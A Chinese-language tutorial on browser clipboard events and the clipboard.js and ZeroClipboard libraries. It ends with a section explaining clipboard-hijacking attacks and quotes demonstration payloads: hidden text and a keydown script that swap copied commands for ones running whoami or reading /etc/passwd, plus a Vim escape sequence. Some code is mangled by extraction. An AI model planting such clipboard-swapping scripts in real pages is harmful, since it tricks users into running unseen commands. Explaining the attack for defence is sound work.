摘要：直到的到來，將剪貼板相關事件納入了規范。但是，在和中，只有在處理剪貼板事件期間，對象才有效，這是為了防止對剪貼板的未授權訪問在中，則可以隨時訪問對象。

本部分系列文章Github Repo

HTML5實戰與剖析之剪貼板事件

IE是最早支持與剪貼板相關的事件，以及通過JavaScript訪問剪貼板數據的瀏覽器。 IE的實現成為了事實上的標準，隨后Firefox 3+ 、 Chrome和Safari 2+都支持類似的事件和剪貼板的訪問，但是Opera不支持通過JavaScript訪問剪貼板。直到HTML5的到來，將剪貼板相關事件納入了 HTML5規范。

要訪問剪貼板中的數據，可以通過clipboardData對象：在IE中，clipboardData對象是window對象的屬性;而在 Chrome、Safari和Firefox 4+中，clipboardData對象是相應event對的屬性。但是，在Chrome、Safari和Firefox 4+中，只有在處理剪貼板事件期間，clipboardData對象才有效，這是為了防止對剪貼板的未授權訪問;在IE中，則可以隨時訪問 clipboardData對象。為了確保跨瀏覽器兼容，最好只在發生剪貼板事件期間使用這個對象。

//獲取剪貼板數據方法
function getClipboardText(event){
    var clipboardData = event.clipboardData || window.clipboardData;
    return clipboardData.getData("text");
};


//設置剪貼板數據
function setClipboardText(event, value){
    if(event.clipboardData){
        return event.clipboardData.setData("text/plain", value);
    }else if(window.clipboardData){
        return window.clipboardData.setData("text", value);
    }
};

這個clipboardData對象有三個方法：getData()方法、setData()方法和clearData()方法。其中，getData()方法用于從剪貼板中獲取數據，它接收一個參數，即要取得的數據格式。在IE中，有兩種數據格式：’text”和”URL”。在Chrome、Safari和Firefox 4+中，這個參數是一種MIME類型;不過，可以用”text”代表”text/plain”。setData()方法的第一個參數也是數據類型，第二個參數是要放在剪貼板中的文字。對于第一個參數，IE照樣是支持”text”和”URL”，而在Chrome、Safari中，仍然支持MIME類型。但是與getData()方法不同的是，在Chrome、Safari中的setData()方法不能識別”text”類型。這兩個瀏覽器在成功將文本放到剪貼板中后，都會返回true;否則返回false。好了說了這么多，就來看下面的小例子吧。

下面就是6個剪貼板事件。

beforecopy：在發生復制操作前觸發;

copy：在發生復制操作的時候觸發;

beforecut：在發生剪切操作前觸發;

cut：在發生剪切操作的時候觸發;

beforepaste：在發生粘貼操作前觸發;

paste：在發生粘貼操作的時候觸發。

在Firefox、Chrome和Safari中，beforecopy、beforecut和beforepaste事件只會在顯示針對文本框的上下文 菜單(預期將發生剪貼板事件)的情況下觸發。但是IE則會在觸發copy、cut和paste事件之前先觸發這些事件。至于copy、cut和paste 事件，只要是在上下文菜單(右鍵菜單)中選擇了相應選項，或者使用了相應的鍵盤組合鍵如(ctrl+v)，所有瀏覽器都會觸發他們。這里以beforecopy為例：

    


    Select some text on this page and press CTRL + C!

與標準的Clipboard API相比，clipboardjs具有相對較好地兼容性與易用性，它的瀏覽器適用范圍是：

筆者實機測試過部分Android 4.0+與iOS 8+的移動設備，還是可以使用的。

可以基于npm安裝：

npm install clipboard --save

或者基于bower安裝：

bower install clipboard --save

安裝之后直接引入即可：

注意，所有的Clipboard初始化時候都需要傳入一個DOM元素，然后基于H5的data-*屬性來控制待操作的對象，譬如：

    






new Clipboard(".btn");

這樣就建立了基本的拷貝操作，如果是需要進行剪切操作的話：

Mussum ipsum cacilds...



    Cut to clipboard

也可以直接復制一些屬性：

    Copy to clipboard

clipboardjs也為我們設置了一些在調用前后的監聽事件，最常用的就是success與error事件：

var clipboard = new Clipboard(".btn");

clipboard.on("success", function(e) {
    console.info("Action:", e.action);
    console.info("Text:", e.text);
    console.info("Trigger:", e.trigger);

    e.clearSelection();
});

clipboard.on("error", function(e) {
    console.error("Action:", e.action);
    console.error("Trigger:", e.trigger);
});

如果你希望利用代碼動態控制目標元素和文本內容，clipboardjs也提供了一系列易用的API，你要做的就是按照規范聲明方程。譬如，如果你想要動態設置操作目標target，可以直接返回一個Node節點：

new Clipboard(".btn", {
    target: function(trigger) {
        return trigger.nextElementSibling;
    }
});

如果想要動態設置文本內容，可以返回一個String：

new Clipboard(".btn", {
    text: function(trigger) {
        return trigger.getAttribute("aria-label");
    }
});

另外，如果你是一個單頁應用，可以利用destroy來在DOM的生命周期中進行控制：

var clipboard = new Clipboard(".btn");
clipboard.destroy();

ZeroClipboard是只要在能夠使用Flash的地方就可以使用，如果碰上Flash被禁止了的就歇菜了。現在不是很建議使用，不過在某些需要兼容的老版本瀏覽器上可以考慮：

  

    Copy to Clipboard

    

    

  



// main.js

var client = new ZeroClipboard( document.getElementById("copy-button") );



client.on( "ready", function( readyEvent ) {

  // alert( "ZeroClipboard SWF is ready!" );



  client.on( "aftercopy", function( event ) {

    // `this` === `client`

    // `event.target` === the element that was clicked

    event.target.style.display = "none";

    alert("Copied text to clipboard: " + event.data["text/plain"] );

  } );

} );

筆者也是最近看到了Github上的這篇關于復制劫持的文章，才打算把之前的網頁剪貼板相關的東西整理下發出來。瀏覽器允許開發者能夠自主地控制用戶剪貼板，不過這樣也就導致了部分惡意網頁可能引導用戶無意間執行惡意代碼。最常見的就是譬如你瀏覽某個教程網站，上面提示你輸入以下命令：

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git 

作為資深懶貨，我肯定選擇復制粘貼啦，然后我就Happy的Ctrl+C，然后我驚訝的發現自己的剪貼板里的內容變成了：

git clone /dev/null; clear; echo -n "Hello ";whoami|tr -d "
";echo -e "!
That was a bad idea. Don"""""t copy code from websites you don"""""t trust!

Here"""""s the first line of your /etc/passwd: ";head -n1 /etc/passwd

git clone git://git.kernel.org/pub/scm/utils/kup/kup.git 

這種攻擊方法還是基于典型的HTML/CSS隱藏屬性，在開發者工具中查看DOM樹可以發現，在我們看不見的地方放了這些東西：

當我們選定復制的時候，其實是把那些隱藏的部分全部選上了。而我們這邊要討論的剪貼板劫持攻擊跟這個的效果很類似，只不過剪貼板劫持攻擊會更讓你防不勝防一點，它可以在你任何一個點擊事件后觸發，并且可以控制將一些十六進制字符復制進去，有時候還能用來干掉你的Vim，還是先看一個例子:

可以看出這次沒有隱藏DOM元素，但是當我們復制了之后，得到的卻是：

touch ~/.evil

clear

echo "not evil"

這次是因為它加了這么個控制腳本：

function copyTextToClipboard(text) {

              var textArea = document.createElement("textarea");



              //

              // *** This styling is an extra step which is likely not required. ***

              //

              // Why is it here? To ensure:

              // 1. the element is able to have focus and selection.

              // 2. if element was to flash render it has minimal visual impact.

              // 3. less flakyness with selection and copying which **might** occur if

              //    the textarea element is not visible.

              //

              // The likelihood is the element won"t even render, not even a flash,

              // so some of these are just precautions. However in IE the element

              // is visible whilst the popup box asking the user for permission for

              // the web page to copy to the clipboard.

              //



              // Place in top-left corner of screen regardless of scroll position.

              textArea.style.position = "fixed";

              textArea.style.top = 0;

              textArea.style.left = 0;



              // Ensure it has a small width and height. Setting to 1px / 1em

              // doesn"t work as this gives a negative w/h on some browsers.

              textArea.style.width = "2em";

              textArea.style.height = "2em";



              // We don"t need padding, reducing the size if it does flash render.

              textArea.style.padding = 0;



              // Clean up any borders.

              textArea.style.border = "none";

              textArea.style.outline = "none";

              textArea.style.boxShadow = "none";



              // Avoid flash of white box if rendered for any reason.

              textArea.style.background = "transparent";





              textArea.value = text;



              document.body.appendChild(textArea);



              textArea.select();



              try {

                var successful = document.execCommand("copy");

                var msg = successful ? "successful" : "unsuccessful";

                console.log("Copying text command was " + msg);

              } catch (err) {

                console.log("Oops, unable to copy");

              }



              document.body.removeChild(textArea);

            }



            document.addEventListener("keydown", function(event) {

                var ms = 800;  

                var start = new Date().getTime();

                var end = start;

                while(end < start + ms) {

                    end = new Date().getTime();

                } 

                copyTextToClipboard("touch ~/.evil
clear
echo "not evil"");

            });

防不勝防啊。這東西就好像當年某些釣魚網站讓你亂下一些PE病毒一樣，并沒有直接的解決方案，最好的防護方式就是以后你復制命令到終端的時候仔細瞅瞅，或者先復制到一個第三方的編輯器內看看有沒有啥奇怪的命令。不過別用Vim作為驗證，譬如如下的攻擊方式：

copyTextToClipboard("echo "evil"
 x1b:!cat /etc/passwd
");

它會利用Vim的Macro來獲取你的用戶密碼等。如果你用的是ITerm，它會提醒你那些自動利用換行來執行的命令：